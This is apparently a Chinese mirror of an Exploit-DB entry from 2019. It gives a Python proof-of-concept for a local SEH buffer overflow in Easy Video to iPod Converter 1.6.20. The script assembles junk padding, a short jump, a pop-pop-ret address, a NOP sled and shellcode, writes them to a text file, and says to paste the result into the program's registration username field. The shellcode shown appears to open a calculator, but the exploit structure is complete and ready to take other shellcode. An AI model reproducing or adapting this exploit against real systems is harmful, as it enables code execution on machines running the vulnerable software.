Easy Video to iPod Converter 1.6.20 – Buffer Overflow (SEH)

• Exploit Database
• 128 阅读

• 作者： Nawaf Alkeraithe
  日期： 2019-01-28
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46255/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

  # Exploit Title: Easy Video to iPod Converter - Local Buffer Overflow (SEH) # Date: 2019-01-26 # Exploit Author: Nawaf Alkeraithe # Twitter: @Alkeraithe1 # Vulnerable Software: Easy Video to iPod Converter 1.6.20 # Vendor Homepage: http://www.divxtodvd.net/ # Version: 1.6.20 # Software Link: http://www.divxtodvd.net/easy_video_to_ipod.exe # Tested Windows XP SP3 x86   # PoC Steps #1- run the program #2- click on "Register" #3- In the "Enter User Name" field, past the content of the payload, and click "OK"     junk = "A"*996 jmp = "\xEB\x06\x90\x90" popPopRetAddr = "\x11\x7B\x03\x10" NOPs = "\x90"*20; shellCode = "\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"   payload = junk + jmp + popPopRetAddr + NOPs + shellCode   exploitText = open("exploit.txt","w") exploitText.write(payload) exploitText.close()